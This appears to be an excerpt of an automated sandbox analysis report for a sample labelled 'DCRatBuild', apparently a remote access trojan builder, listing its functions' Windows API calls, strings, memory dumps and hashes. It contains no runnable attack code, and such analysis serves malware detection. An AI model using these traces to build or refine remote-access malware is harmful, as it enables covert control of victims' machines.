Part of subcall function 004A081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049F2D8,Crypt32.dll,00000000,0049F35C,?,?,0049F33E,?,?,?), ref: 004A0858

OleInitialize.OLE32(00000000), ref: 004AAC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 004AAC66
SHGetMalloc.SHELL32(004D8438), ref: 004AAC70

Strings

riched20.dll, xrefs: 004AAC1E
3Ro, xrefs: 004AAC47

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: b0f668680cb77989fa8aac49c97627c152a4c10412598ac0091738fa04f00fa0
Instruction ID: b69235b2238821d5aa98d946224c5e77cf78834eb86e25da4842a9e64e2789c2
Opcode Fuzzy Hash: b0f668680cb77989fa8aac49c97627c152a4c10412598ac0091738fa04f00fa0
Instruction Fuzzy Hash: E5F04471900109ABCB50AFA6D9499EFFBFCEF94705F00401BA415E2201DB785605CBA4

Function 004998E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00497760,?,00000005,?,00000011), ref: 0049995F
GetLastError.KERNEL32(?,?,00497760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0049996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00497760,?,00000005,?), ref: 004999A2
GetLastError.KERNEL32(?,?,00497760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 004999AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00497760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 004999F9

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: da2c521dae5c654b574e9496bf367fb427906e2af6ed85a4ae321ff26186ee0c
Instruction ID: a610cb5c5c7f23f87fc5353dd572340ca7006491d3698980d70235e2454c5ff1
Opcode Fuzzy Hash: da2c521dae5c654b574e9496bf367fb427906e2af6ed85a4ae321ff26186ee0c
Instruction Fuzzy Hash: 863125B15443416FEB209F29CC46BDABF94BB05324F100B2EF5A1963D0D3A9AD44CB99

Function 004AB568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AB579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AB58A
IsDialogMessageW.USER32(00010422,?), ref: 004AB59E
TranslateMessage.USER32(?), ref: 004AB5AC
DispatchMessageW.USER32(?), ref: 004AB5B6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: cefdf04baddd1d5d08072902207d4115782c05a6c1177c734d282aaf6d3eb0cb
Instruction ID: ba9a2c675f4cd3e34f89d526a034949ef1b0824e75b60f21e3bdb4e231158d81
Opcode Fuzzy Hash: cefdf04baddd1d5d08072902207d4115782c05a6c1177c734d282aaf6d3eb0cb
Instruction Fuzzy Hash: 99F0A971E0111ABACB209FA69C4CDEB7FACEE162957404426B505D2115EF28E615CBB8

Function 004AABAB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 004AABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 004AABF9

Part of subcall function 004A1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,0049C116,00000000,.exe,?,?,00000800,?,?,?,004A8E3C), ref: 004A1FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 004AABE9

Strings

EDIT, xrefs: 004AABCD, 004AABD8, 004AABE5

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: e42ad45ddeaa4d396691635f81142db0017f153b0c3656cff8f459eb6b344443
Instruction ID: bc420bac1e59d70af2881312b1f36e0da7adcb3f2281c0ac0691cbaa5e80990f
Opcode Fuzzy Hash: e42ad45ddeaa4d396691635f81142db0017f153b0c3656cff8f459eb6b344443
Instruction Fuzzy Hash: C6F082326012287ADB205B259C09FAF766C9B57B41F484027BA05A22C4DB68EA91C5BE

Function 004ADBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 004ADBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 004ADC30

Strings

sfxcmd, xrefs: 004ADBEF
sfxpar, xrefs: 004ADC2B

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 4b8249a773254779a16d64e129a6ddd6312a8bf3fb4f45ecb13bbf594436d8b8
Instruction ID: abdf7b3c81e34f55a7b731abea13fcd82dc286e76ce4dd7f5a50ca60497d4b8d
Opcode Fuzzy Hash: 4b8249a773254779a16d64e129a6ddd6312a8bf3fb4f45ecb13bbf594436d8b8
Instruction Fuzzy Hash: 4FF0E4B18052247FCB201F968C05FFB7758EF257557440417BD4595151DAB89D40D6BC

Function 00499785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00499795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 004997AD
GetLastError.KERNEL32 ref: 004997DF
GetLastError.KERNEL32 ref: 004997FE

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: bf9aa5eda6cc3ea7b24ae77fe159a18a1260a121eac763c79a2923cf0c7f2786
Instruction ID: 4fb73f071db08631a37a039adf4bd1e926c063bdb56781b9046b109b1e11402e
Opcode Fuzzy Hash: bf9aa5eda6cc3ea7b24ae77fe159a18a1260a121eac763c79a2923cf0c7f2786
Instruction Fuzzy Hash: A211C631520204EBCF30AFADC804AAA3FA8FB06325F10853FF41685290DB798E44DB69

Function 004BAD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,004B3F73,00000000,00000000,?,004BACDB,004B3F73,00000000,00000000,00000000,?,004BAED8,00000006,FlsSetValue), ref: 004BAD66
GetLastError.KERNEL32(?,004BACDB,004B3F73,00000000,00000000,00000000,?,004BAED8,00000006,FlsSetValue,004C7970,FlsSetValue,00000000,00000364,?,004B98B7), ref: 004BAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004BACDB,004B3F73,00000000,00000000,00000000,?,004BAED8,00000006,FlsSetValue,004C7970,FlsSetValue,00000000), ref: 004BAD80

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 9d19c87da650f02721125c2b81950bfa8cf715406e70e195a7f3c0e0c6c9b4b8
Instruction ID: 8bb4b808ccd70a99e5081395376000e0094ee121768f1556ca7ef1c12b08bbb1
Opcode Fuzzy Hash: 9d19c87da650f02721125c2b81950bfa8cf715406e70e195a7f3c0e0c6c9b4b8
Instruction Fuzzy Hash: AE014732201222ABC7218F68DC44EDB7B5DEF407A37100231F906D3660CB28C822C6FA

Function 004BBA27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 004B97E5: GetLastError.KERNEL32(?,004D1030,004B4674,004D1030,?,?,004B3F73,00000050,?,004D1030,00000200), ref: 004B97E9
Part of subcall function 004B97E5: _free.LIBCMT ref: 004B981C
Part of subcall function 004B97E5: SetLastError.KERNEL32(00000000,?,004D1030,00000200), ref: 004B985D
Part of subcall function 004B97E5: _abort.LIBCMT ref: 004B9863

Part of subcall function 004BBB4E: _abort.LIBCMT ref: 004BBB80
Part of subcall function 004BBB4E: _free.LIBCMT ref: 004BBBB4

Part of subcall function 004BB7BB: GetOEMCP.KERNEL32(00000000,?,?,004BBA44,?), ref: 004BB7E6

_free.LIBCMT ref: 004BBA9F
_free.LIBCMT ref: 004BBAD5

Strings

pL, xrefs: 004BBAC9

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: pL
API String ID: 2991157371-1374626527
Opcode ID: 0069e2de2aea130b9e07687e18c3d781ad9644e8e078d5c100071c7cb1eb63b7
Instruction ID: 005c2018427a15d3c1ea3c883fc206513f2c0ae975ab41c5b51d66e70691a24e
Opcode Fuzzy Hash: 0069e2de2aea130b9e07687e18c3d781ad9644e8e078d5c100071c7cb1eb63b7
Instruction Fuzzy Hash: 3D31D531D04109AFDB10DFA9C441BDEB7E5EF54324F21409FE5049B2A1EBBA5D41DBA8

Function 004AE528 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

(J, xrefs: 004AE528
PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (J$PDu<J
API String ID: 1269201914-3276689922
Opcode ID: 2c74f241c802f2710a1d4655879051bcc1f52a069def1e4c5aaacec5ce08dadd
Instruction ID: 1a5d1e17c1f4a0b83b8285f124b488c7e61ac094093aa05e74ac428686b3de1c
Opcode Fuzzy Hash: 2c74f241c802f2710a1d4655879051bcc1f52a069def1e4c5aaacec5ce08dadd
Instruction Fuzzy Hash: 2CB012C5B590407C3144714B2E02E3B050CC1D7F1D330C02FF528C1084EC4D0C02043E

Function 004AE532 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AE51F

Part of subcall function 004AE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004AE8D0
Part of subcall function 004AE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004AE8E1

Strings

2J, xrefs: 004AE532
PDu<J, xrefs: 004AE519

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 2J$PDu<J
API String ID: 1269201914-3862107174
Opcode ID: 98b52c870afe322abd42b3e42096e2d2bdb058c7acd54bebc24b78b99ba340d8
Instruction ID: bf888223c50faedb38dc3a61e2e0844da27ff30afcc11fe6e05dd8bce0ca49da
Opcode Fuzzy Hash: 98b52c870afe322abd42b3e42096e2d2bdb058c7acd54bebc24b78b99ba340d8
Instruction Fuzzy Hash: 1EB09285A590007D2144614A2902E3A0108C196B19330802FF428C1084A84C0C01043E

Function 00499F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0049D343,00000001,?,?,?,00000000,004A551D,?,?,?), ref: 00499F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,004A551D,?,?,?,?,?,004A4FC7,?), ref: 00499FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0049D343,00000001,?,?), ref: 0049A011

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 164ee93f1c72ee4f11989e6abbfa79af2e2011f51b6891a8b1c072619d487278
Instruction ID: 3c73ab59f8f6885aa4da923d9976fa8f16aa5e1838818900e3274d4fc829ccab
Opcode Fuzzy Hash: 164ee93f1c72ee4f11989e6abbfa79af2e2011f51b6891a8b1c072619d487278
Instruction Fuzzy Hash: 1431DF31204305AFDF14CF24D808B6BBBA5EB85715F04452EF98597290C779AD48CBAA

Function 0049A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0049C27E: _wcslen.LIBCMT ref: 0049C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A30C
GetLastError.KERNEL32(?,?,?,?,0049A175,?,00000001,00000000,?,?), ref: 0049A329

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e222f8c9fd9bdc8efadc2eb653d98122d538b4348404417dc39e9e0c715a2e21
Instruction ID: 7fccb8d6cddeb8a14aaa0b87e4b444ce65ec6c6a0542c67e32da811409e9051d
Opcode Fuzzy Hash: e222f8c9fd9bdc8efadc2eb653d98122d538b4348404417dc39e9e0c715a2e21
Instruction Fuzzy Hash: 820192255002106AEF31AB764C49BEE3B889F0A789F14447AFD01E6285D75CDA91C6FE

Function 004BB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 004BB8B8

Strings

, xrefs: 004BB8FD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 44ea6a0a98fb1bfa087ca551699269126b1047fd4b7336058cc803473aeb8f22
Instruction ID: 5b6c3e691bf239673008b991ab808d470d06bd78d60143db9d2384651f98e850
Opcode Fuzzy Hash: 44ea6a0a98fb1bfa087ca551699269126b1047fd4b7336058cc803473aeb8f22
Instruction Fuzzy Hash: 63412AB050424C9EDB218E25CC84BF6BBB9DB15304F1404EED5DA86242D379AA45DFB5

Function 004BAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 004BAFDD

Strings

LCMapStringEx, xrefs: 004BAF7D, 004BAF87

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 4f4b8b20e85bafc3f928aa33b2f856bd50cc7b64c539f9139831f81b73a05117
Instruction ID: 3fb5688165f4183036364ae8cc683a7321398414eaf71af90580bc8c85b1630e
Opcode Fuzzy Hash: 4f4b8b20e85bafc3f928aa33b2f856bd50cc7b64c539f9139831f81b73a05117
Instruction Fuzzy Hash: 87010C76505109BBCF029F91DC05EEE7F62EF09754F01415AFE1465160C63A8A31EF99

Function 004BAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,004BA56F), ref: 004BAF55

Strings

InitializeCriticalSectionEx, xrefs: 004BAF1B, 004BAF25

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 4c816ac16a7b1bc89ce20806bc83fd6301df967f05ce27c6629251436ead4074
Instruction ID: 126d486fbb0c382eca607db0c54d6c5c4d42824b6ae4df2fd1cb35485da61046
Opcode Fuzzy Hash: 4c816ac16a7b1bc89ce20806bc83fd6301df967f05ce27c6629251436ead4074
Instruction Fuzzy Hash: 57F0B475645208BFCF029F56CC02EEE7F61EF14B21B00407AFC0856260DA355A219B9E

Function 004BADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 004BADEE

Strings

FlsAlloc, xrefs: 004BADC0, 004BADCA

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 8ce181107ad71a71292ff12394be7e4c7c92b1cebc37e8ee43bd831a6b5f2dc7
Instruction ID: 07b7f67adbb9d426d09c39344570e2822d498ecb3c4d9b934986f8552739b369
Opcode Fuzzy Hash: 8ce181107ad71a71292ff12394be7e4c7c92b1cebc37e8ee43bd831a6b5f2dc7
